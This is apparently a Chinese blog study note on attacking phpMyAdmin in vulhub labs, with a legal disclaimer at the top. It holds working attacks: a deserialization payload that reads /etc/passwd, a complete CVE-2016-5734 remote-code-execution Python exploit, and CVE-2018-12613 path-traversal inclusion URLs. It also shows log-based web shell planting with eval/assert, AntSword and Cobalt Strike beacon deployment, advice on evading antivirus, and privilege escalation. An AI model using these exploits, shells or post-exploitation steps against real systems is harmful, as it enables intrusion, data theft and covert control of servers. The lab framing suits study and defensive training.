简介

phpMyAdmin是一个非常受欢迎的基于web的MySQL数据库管理工具。它能够创建和删除数据库,创建/删除/修改表格,删除/编辑/新增字段,执行SQL脚本等


本博客所有内容均为作者的个人学习笔记记录,作者也是小白一枚,如果有什么地方写的不对或者对您带来影响欢迎底部留言或者点击右下角的图标与我联系吧

本博客的所有Security 大类下的文章只能作为学习研究使用不可用于非法测试和攻击,请遵循网络安全法,共筑和谐网络

如果喜欢我的文章欢迎各位大佬点击右下角的订阅图标开启浏览器推送吧,这样你只要不清除浏览器缓存就能第一时间收到我的更新通知啦(如果你的网络如果能上Google就用Chrome浏览器订阅,如果不能推荐用微软的Edge浏览器,目前正在寻找解决办法,订阅成功后会有一条提示成功,如果未收到表示网络限制原因未订阅成功)

中华人民共和国网络安全法(2017年6月1日起施行) 第二十二条任何个人和组织不得从事入侵他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动;不得提供从事入侵网络、干扰网络正常功能、窃取网络数据等危害网络安全活动的工具和制作方法;不得为他人实施危害网络安全的活动提供技术支持、广告、推广、支付结算等帮助。 第三十八条任何个人和组织不得窃取或者以其他非法方式获取公民个人信息,不得出售或者非法向他人提供公民个人信息 第六十三条违反本法规定,给他人造成损害的,依法承担民事责任 第六十四条违反本法规定,构成犯罪的,依法追究刑事责任 中华人民共和国刑法(285286) 第二百八十五条违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的处三年以下有期徒刑或者拘役 第二百八十六条违反国家规定,对计算机信息系统功能进行删除、修改、增加、干扰,造成计算机信息系统不能正常运行,后果严重的,处五年以下有期徒刑或者拘役:后果特别严重的,处五年以上有期徒刑。违反国家规定,对计算机信息系统中存储、处理或者传输的数据和应用程序进行删除、修改、增加的操作,后果严重的,依照前款的规定处罚 中华人民共和国刑法修正案7(第九条) 在刑法第二百八十五条中增加两款作为第二款、第三款:“违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统中存储、处理或者传输的数据,或者对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金:情节特别严重的,处三年以上七年以下有期徒刑,并处罚金提供专门用于侵入、非法控制计算机信息系统的程序、或者明知他人实施侵入、非法控制计算机信息系统的违法犯罪行为而为其提供程序、工具,情节严依照前款的规定处罚。


序列化和反序列化

  • 序列化:把对象转换为字节序列
  • 反序列化:把字节序列恢复为原先的对象
  • 各种语言都有反序列化漏洞
  • 序列化即将对象转化为字节流,便于保存在文件,内存,数据库中;
  • 反序列化即将字节流转化为对象也就是把数据转化为一种可逆的数据结构,再把这种可逆的数据结构转化回数据,这就是序列化与反序列化
  • 看到过一个通俗的例子(可以应用到很多场景中,比如网络数据包传递接收过程之类的),买一个柜子,从北京运到上海,由于柜子形状怪异,不方便运输,先把它拆成板子再装到箱子里,邮递到家后把板子重新拼装回柜子

phpmyadmin

介绍

phpmyadmin是一个以php为基础,以Web-Base方式架构在网站主机上的 MySQLI的数据库管理工具,让管理者可以使用Web接口管理MSQL数据库。借由此Web接口可以成为一个简单方式输入sαL语法的较佳途径。其优势就是可以通过web界面来远程管理方便建立、修改、删除数据库及资料表

phpmyadmin测试流程

  • 确认 phpmyadmin 的后台
  • 如果有密码 可以用phpmyadmin 密码爆破工具
  • 确定版本,信息搜集
  • 漏洞利用

vulhub搭建

环境搭建

github:https://github.com/vulhub/vulhub

vulhub官网:https://vulhub.org/

利用条件

phpmyadmin 2.x版本中存在一处反序列化漏洞,通过该漏洞,攻击者可以读取任意文件或执行任意代码。
phpmyadmin 2.X 需要登录

Linux安装vulhub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 安装pip
curl -s https://bootstrap.pypa.io/get-pip.py | python3
# 安装最新版docker
curl -s https://get.docker.com/ | sh
# 启动docker服务
systemctl start docker
# 安装compose
pip install docker-compose
# 下载项目
wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip
unzip vulhub-master.zip
cd vulhub-master
# 进入某一个漏洞/环境的目录
cd /phpmyadmin/WooYun-2016-199433
# 自动化编译环境
docker-compose build
# 启动整个环境
docker-compose up -d
# 测试完成后,删除整个环境
docker-compose down -v

练习

反序列化

利用 vulhub 中的 WooYun-2016-199433 进行练习

启动

注意8080端口已开启 不冲突

1
2
3
4
5
6
7
8
9
10
# 进入vulhub
cd vulhub-master
# 进入某一个漏洞/环境的目录
cd phpmyadmin/WooYun-2016-199433
# 自动化编译环境
docker-compose build
# 启动整个环境
docker-compose up -d
# 测试完成后,删除整个环境
docker-compose down -v

我们访问后发现 版本是 phpMyAdmmin 2.7.1-dev 那么就可以通过关键字去搜集对应的漏洞进行复现,这就是一般的测试流程

访问phpmyadmin

漏洞复现

1
2
url:http://www.security.ada:8080/scripts/setup.php
payload: action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}

获取passwd文件

命令执行

利用 vulhub 中的 CVE-2016-5734 进行练习

启动

注意 8080 端口已开启 不冲突

1
2
3
4
5
6
7
8
9
10
# 进入vulhub
cd vulhub-master
# 进入某一个漏洞/环境的目录
cd /phpmyadmin/CVE-2016-5734
# 自动化编译环境
docker-compose build
# 启动整个环境
docker-compose up -d
# 测试完成后,删除整个环境
docker-compose down -v

登录后我们可以看到 phpmyadmin 的版本信息 那么就可以去搜集对应版本的漏洞了

访问程序进行登录

查看版本信息

漏洞复现

影响版本

4.0.10.16 之前4.0.x版本
4.4.15.7 之前4.4x版本
4.6.3 之前4.6×版本
php版本: 4.3.0-5.46
php5.0 版本以上的将 preg_ replace 的/e修饰符给废弃掉了

漏洞的原理

  • reg_replace漏洞触发有两个前提
    • 第一个参数需要e标识符,有了它可以执行第二个参数的命令
    • 第一个参数需要在第三个参数中的中有匹配,不然echo会返回第三个参数而不执行命令。

背景知识

  • preg_replace函数执行一个正则表达式的搜索和替换
  • 在PHP5.4.7以前,preg_ replace的第—个参数可以利用\O进行截断,并将正则模式修改为e。众所周知,e模式的正则支持执行代码,此时将可构造一个任意代码执行漏洞

poc 利用复现

1
2
cd /Volumes/share/study/security
python3 cve-2016-5734_rce.py -u root -p "root" http://www.security.ada:8080/ -c "system('cat /etc/passwd')"

poc 利用复现


python 脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
#!/usr/bin/env python

"""cve-2016-5734.py: PhpMyAdmin 4.3.0 - 4.6.2 authorized user RCE exploit
Details: Working only at PHP 4.3.0-5.4.6 versions, because of regex break with null byte fixed in PHP 5.4.7.
CVE: CVE-2016-5734
Author: https://twitter.com/iamsecurity
run: ./cve-2016-5734.py -u root --pwd="" http://localhost/pma -c "system('ls -lua');"
"""

import requests
import argparse
import sys

__author__ = "@iamsecurity"

if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument("url", type=str, help="URL with path to PMA")
parser.add_argument("-c", "--cmd", type=str, help="PHP command(s) to eval()")
parser.add_argument("-u", "--user", required=True, type=str, help="Valid PMA user")
parser.add_argument("-p", "--pwd", required=True, type=str, help="Password for valid PMA user")
parser.add_argument("-d", "--dbs", type=str, help="Existing database at a server")
parser.add_argument("-T", "--table", type=str, help="Custom table name for exploit.")
arguments = parser.parse_args()
url_to_pma = arguments.url
uname = arguments.user
upass = arguments.pwd
if arguments.dbs:
db = arguments.dbs
else:
db = "test"
token = False
custom_table = False
if arguments.table:
custom_table = True
table = arguments.table
else:
table = "prgpwn"
if arguments.cmd:
payload = arguments.cmd
else:
payload = "system('uname -a');"

size = 32
s = requests.Session()
# you can manually add proxy support it's very simple ;)
# s.proxies = {'http': "127.0.0.1:8080", 'https': "127.0.0.1:8080"}
s.verify = False
sql = '''CREATE TABLE `{0}` (
`first` varchar(10) CHARACTER SET utf8 NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
INSERT INTO `{0}` (`first`) VALUES (UNHEX('302F6500'));
'''.format(table)

# get_token
resp = s.post(url_to_pma + "/?lang=en", dict(
pma_username=uname,
pma_password=upass
))
if resp.status_code is 200:
token_place = resp.text.find("token=") + 6
token = resp.text[token_place:token_place + 32]
if token is False:
print("Cannot get valid authorization token.")
sys.exit(1)

if custom_table is False:
data = {
"is_js_confirmed": "0",
"db": db,
"token": token,
"pos": "0",
"sql_query": sql,
"sql_delimiter": ";",
"show_query": "0",
"fk_checks": "0",
"SQL": "Go",
"ajax_request": "true",
"ajax_page_request": "true",
}
resp = s.post(url_to_pma + "/import.php", data, cookies=requests.utils.dict_from_cookiejar(s.cookies))
if resp.status_code == 200:
if "success" in resp.json():
if resp.json()["success"] is False:
first = resp.json()["error"][resp.json()["error"].find("<code>")+6:]
error = first[:first.find("</code>")]
if "already exists" in error:
print(error)
else:
print("ERROR: " + error)
sys.exit(1)
# build exploit
exploit = {
"db": db,
"table": table,
"token": token,
"goto": "sql.php",
"find": "0/e\0",
"replaceWith": payload,
"columnIndex": "0",
"useRegex": "on",
"submit": "Go",
"ajax_request": "true"
}
resp = s.post(
url_to_pma + "/tbl_find_replace.php", exploit, cookies=requests.utils.dict_from_cookiejar(s.cookies)
)
if resp.status_code == 200:
result = resp.json()["message"][resp.json()["message"].find("</a>")+8:]
if len(result):
print("result: " + result)
sys.exit(0)
print(
"Exploit failed!\n"
"Try to manually set exploit parameters like --table, --database and --token.\n"
"Remember that servers with PHP version greater than 5.4.6"
" is not exploitable, because of warning about null byte in regexp"
)
sys.exit(1)

文件包含

利用 vulhub 中的 CVE-2018-12613 进行练习

启动

1
2
3
4
5
6
7
8
9
10
# 进入vulhub
cd vulhub-master
# 进入某一个漏洞/环境的目录
phpmyadmin/CVE-2018-12613
# 自动化编译环境
docker-compose build
# 启动整个环境
docker-compose up -d
# 测试完成后,删除整个环境
docker-compose down -v

启动后我们访问目标地址就可以看到 phpmyadmin 的版本信息 那么就可以去搜集对应版本的漏洞了

访问程序

漏洞复现

影响版本

phpMyAdmin 4.8.0 和 4.8.1

漏洞描述

https://blog.csdn.net/weixin_43872099/article/details/104128639

文件包含利用

1
http://www.security.ada:8080/index.php?target=db_sql.php%253f/../../../../../../../etc/passwd

文件包含利用

Session 包含

普通日志文件包含
1
http://www.security.ada:8080/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_0e0f905f1ab6df1d67d92ffb7cca2493

session包含1

插入sql语句后包含

把php函数写到日志中,然后通过 session 包含日志 执行显示phpinfo

1
2
3
SELECT <?=phpinfo()?>
http://www.security.ada:8080/index.php?target=db_sql.php%253f/../../../../../../../etc/passwd
http://www.security.ada:8080/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_f2e93353d686dc3808f0f8da15929df4

session包含2

phpStudy获取shell

eval 宝塔会进行拦截 assert

写入shell

进入后台

phpmyadmin 的默认账户密码都是 root 如果不对可以用 phpmyadmin 的爆破工具进行爆破

进入后台

获取日志路径及状态

1
SHOW VARIABLES LIKE '%general%';

获取日志路径及状态

修改日志路径及状态

此步骤是为了开启日志和修改日志的写入地址为我们自己设定的地址

1
2
set global general_log=on;
set global general_log_file='C:/phpstudy2018/PHPTutorial/WWW/shell.php';

开启日志记录和修改地址

写入shell

1
2
SELECT '<?php @eval($_POST["hacker"]); ?>';
# 备用:SELECT '<?php assert($_POST["hacker"]); ?>';

写入shell

验证shell

1
2
Url:http://192.168.151.8/shell.php
Payload:hacker= echo "----------------this is test----------------";

验证 shell

主机渗透

蚁剑连接

刚才已经能够在 HackBar 执行 echo 输出了证明是可以的,现在就用蚁剑进行连接 如果连接失败 多次尝试修改一下 php 的版本

蚁剑连接

准备工作

启动Cobalt Strike server端并连接

启动 Cobalt Strike 服务端

创建开启监听

创建开启监听

通过PowerShell 渗透

前提条件:能通过蚁剑进入目标机器的终端执行命令

PowerShell 渗透

通过exe程序渗透

生成exe可执行程序

生成 exe 可执行程序

蚁剑上传exe

蚁剑上传 exe 程序

执行 exe

通过执行刚才生成的 artifact.exe 文件让主机上线

在测试中可以设置Sleep为 0 或者 5 这样延时更短,默认是60 在正式中最好保持60 不然程序执行过于频繁容易被监测到 触发一些杀毒的报警

蚁剑终端执行 exe

提升权限

当我们接受到设备的上线 如果不是 * 号用户 也就是不是系统权限用户,那么会有很多的限制,这个时候需要进行权限的提上,获取 SYSTEM 用户的权限

演示条件:win7环境 存在 MS-14058 漏洞

elevate.cna插件下载地址:https://github.com/rsmudge/ElevateKit

Cobalt Strike 加载插件:点击左上角【Cobalt Strike】-> 【Script Manager】-> 【Load】选择刚才下载的 elevate.cna

提升权限

断开连接

当测试完成后 我们需要断开监听,但是 Cobalt Strike 这边删除后还是会收到靶机的心跳,因此需要关闭靶机 刚才启动的 artifact.exe 进程

断开连接